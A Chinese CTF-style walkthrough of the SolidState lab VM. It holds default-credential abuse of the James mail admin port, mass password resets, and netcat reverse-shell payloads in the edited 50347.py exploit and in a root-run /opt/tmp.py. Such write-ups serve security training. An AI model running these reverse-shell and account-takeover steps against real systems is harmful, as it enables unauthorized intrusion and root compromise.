SolidState靶机通关教程及提权
声明!本文章及工具分享仅仅只是供大家学习交流为主,如有任何触犯法律的行为,均与本人及团队无关!!!
工具链接:https://pan.quark.cn/s/33795a10039c
一、靶机搭建
点击扫描虚拟机
选择靶机使在文件夹即可
建议kali和靶机的网络都使用NAT模式
二、信息收集
1. 扫出ip信息
nmap -sN 192.168.108.0/24
扫描结果:
排除kali自身,即192.168.108.138为靶机ip
2. 查找开放端口和服务信息
nmap 192.168.108.138 -p 1-65535
nmap -sV 192.168.108.138
扫描结果:
可用信息:
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
119/tcp open nntp
4555/tcp open rsip
3. 指纹探测找出系统版本信息
nmap 192.168.108.138 -p 22,25,80,110,119,4555 -sV -sC -O --version-all
结果如下
可用信息:
Linux 3.2-4.9
CPE: cpe:/o:linux:linux_kernel
三、寻找攻击点并攻击
1. 寻找信息
访问开启的web端口,发现4555端口可能存在用户名密码登录
搜索相关漏洞,发现默认账号密码
搜索此漏洞,有两个可以利用的脚本
searchsploit JAMES 2.3.2
下载下来备用
searchsploit -m 50347.py
python 50347.py -h
利用方式为
python 50347.py 靶机ip 攻击机ip 监听端口
2. 尝试攻击
连接此端口,输入账号密码登录
nc 192.168.108.138 4555
help
以上是一个pop3的协议,翻译过来看看
help:显示此帮助信息
listusers:显示现有账户
countusers:显示账户数量
adduser [用户名] [密码]:添加新用户
verify [用户名]:验证指定用户是否存在
deluser [用户名]:删除现有用户
setpassword [用户名] [密码]:设置用户密码
setalias [用户] [别名]:将 ' 用户 ' 的所有邮件本地转发到 ' 别名'
showalias [用户名]:显示用户的当前邮件别名
unsetalias [用户]:取消 ' 用户 ' 的别名
setforwarding [用户名] [邮箱地址]:将用户的邮件转发到另一个邮箱地址
showforwarding [用户名]:显示用户当前的邮件转发设置
unsetforwarding [用户名]:取消转发
user [存储库名]:切换到另一个用户存储库
shutdown:关闭当前 JVM(当 James 作为守护进程运行时很方便)
quit:关闭连接
执行命令
listusers
setpassword 账号名
更改所有账户的密码为1,留着备用
先看看telnet连接后的命令使用,大小写任意
USER: 提供用户名以进行身份验证。
PASS: 提供密码以进行身份验证。
LIST: 列出邮件。
RETR: 查看或下载指定邮件。
DELE: 删除指定邮件。
QUIT: 结束会话。
再看看回显信息
user 用户名: 这是用来输入用户名的命令。
+OK: 服务器确认接收用户名。
pass 密码: 这是用来输入密码的命令。
+OK Welcome 用户名: 服务器确认密码正确,并欢迎用户。
-ERR:表示返回错误
list: 这是一个常见的邮件协议命令,用于列出邮件信息,如邮件数量及其大小。
+OK 1 743: 服务器响应,表示成功获取信息,通常会返回邮件的数量和大小,1代表一个邮件,743代表字节大小
利用telnet命令连接,因为前两个用户并没有邮箱信息,所以就不放截图了,这里看john用户,查看邮件信息
telnet ip
user john
pass 1
retr 1
发现提示我们去看mindy账户,同样的方式访问mindy账户,在第二个邮件里发现登录名和密码
账号:mindy
密码:P@55W0rd1!2@
3. ssh登录并利用
尝试ssh登录
ssh mindy@192.168.108.138
-rbash:被限制的bash,此bash命令被限制,按两次tab看看有什么命令可以用
看看etc/passwd里面有什么sh可以利用
可以尝试利用mindy的rbash进行shell反弹
4. 脚本利用
编辑刚才的脚本,修改一下
vim 50347.py
pyload = 'nc -e bin/sh 攻击机ip 监听端口'
先执行一下脚本
python3 50347.py 192.168.108.138 192.168.108.130 4444
5. 获得完整权限
一个面板执行ssh登录,一个面板监听
成功获得
四、提权
因为是james账户提示的mindy,所以看看进程
发现可疑信息opt文件夹
cd opt
ls -ll
cat tmp.py
这个代码的意思是定期删除/tmp目录下的内容
写个反弹shell提权,并开启端口监听
echo 'import os; os.system("/bin/nc 192.168.108.130 9999 -e /bin/bash")' > /opt/tmp.py
cat tmp.py
python tmp.py
此时即可获得root权限
SolidState靶机通关教程及提权的更多相关文章
- 21. 从一道CTF靶机来学习mysql-udf提权
这次测试的靶机为 Raven: 2 这里是CTF解题视频地址:https://www.youtube.com/watch?v=KbUUn3SDqaU 此次靶机主要学习 PHPMailer 跟 mymq ...
- 靶机DC-2 rbash绕过+git提权
这个靶机和DC-1一样,一共5个flag.全部拿到通关. root@kali:/home/kali# nmap -sP 192.168.1.* 先扫一下靶机的IP地址,拿到靶机的地址为192.168. ...
- <<< 入侵网站类提权注入教程
---------------------------------------入侵类教程-------------------------------------------------------- ...
- [视频]K8飞刀 mysql注入点拿shell & UDF提权教程
[视频]K8飞刀 mysql注入点拿shell & UDF提权教程 链接: https://pan.baidu.com/s/1a7u_uJNF6SReDbfVtAotIw 提取码: ka5m
- vulnhub靶机之DC6实战(wordpress+nmap提权)
0x00环境 dc6靶机下载地址:https://download.vulnhub.com/dc/DC-6.zip dc6以nat模式在vmware上打开 kali2019以nat模式启动,ip地址为 ...
- 对vulnhub靶机lampiao的getshell到脏牛提权获取flag
前言: vulnhub里面的一个靶场,涉及到drupal7 cms远程代码执行漏洞(CVE-2018-7600)和脏牛提权. 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBL ...
- Cobalt Strike系列教程第七章:提权与横向移动
Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...
- 靶机练习 - 温故知新 - Toppo(sudo 提权)
重新做了一下以前做过的第一个靶机(https://www.cnblogs.com/sallyzhang/p/12792042.html),这个靶机主要是练习sudo提权,当时不会也没理解. 开启靶机, ...
- basic-pentesting-1 靶机提权
原文地址:https://www.payload.com.cn/ basic-pentesting-1 下载地址: https://www.vulnhub.com/entry/basic-pent ...
- udf提权原理详解
0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道ud ...
随机推荐
- 简单 webapi 登录成功就返回 电脑的进程信息·
/// <summary> /// 如果登录成功就返回电脑的进程信息 /// </summary> /// <returns></returns> [H ...
- vagrant快速安装虚拟机
- 15 Transformer 框架概述
博客配套视频链接: https://space.bilibili.com/383551518?spm_id_from=333.1007.0.0 b 站直接看 配套 github 链接:https:// ...
- 0608-nn和autograd的区别
0608-nn和autograd的区别 目录 一.nn 和 autograd 的区别 二.Function 和 Module 在实际中使用的情况 pytorch完整教程目录:https://www.c ...
- [Go] 如何妥善处理 TCP 代理中连接的关闭
如何妥善处理 TCP 代理中连接的关闭 相比较于直接关闭 TCP 连接,只关闭 TCP 连接读写使用单工连接的场景较少,但通用的 TCP 代理也需要考虑这部分场景. 背景 今天在看老代码的时候,发现一 ...
- PHP mysql 大量批量insert或update数据出错问题
UPDATE users SET age = 30 WHERE name = 'Alice'; UPDATE users SET age = 25 WHERE name = 'Bob'; UPDATE ...
- Mac安装Docker
一.下载 从官网下载速度太慢,推荐在阿里云镜像下载. 下载地址:http://mirrors.aliyun.com/docker-toolbox/mac/docker-for-mac/stable/D ...
- C++中的各种锁
在多线程开发中,经常会遇到数据同步,很多情况下用锁都是一个很好的选择.C++中常用的锁主要有下面几种: 互斥锁(std::mutex) 这是最基本的一种锁.它用于保护共享资源,在任意时刻,最多只有一个 ...
- 数据结构之链表篇(单链表,循环链表,双向链表)C语言版
1.链表 链表是线性表的一种,由一系列节点(结点)组成,每个节点包含一个数据域和一个指向下一个节点的指针域.链表结构可以克服数组需要预先知道数据大小的缺点,而且插入和删除元素很方便,但是失去数组随机读 ...
- 超级干货:Air780E之RS485通信篇,你学会了吗?
今天,我们来学习低功耗4G模组Air780E的RS485通信,同学们,你学习了吗? 一.RS485简介 物联网(IoT)在工业场景中的应用越来越广泛,而RS485是一种常见的通信协议,广泛应用于 ...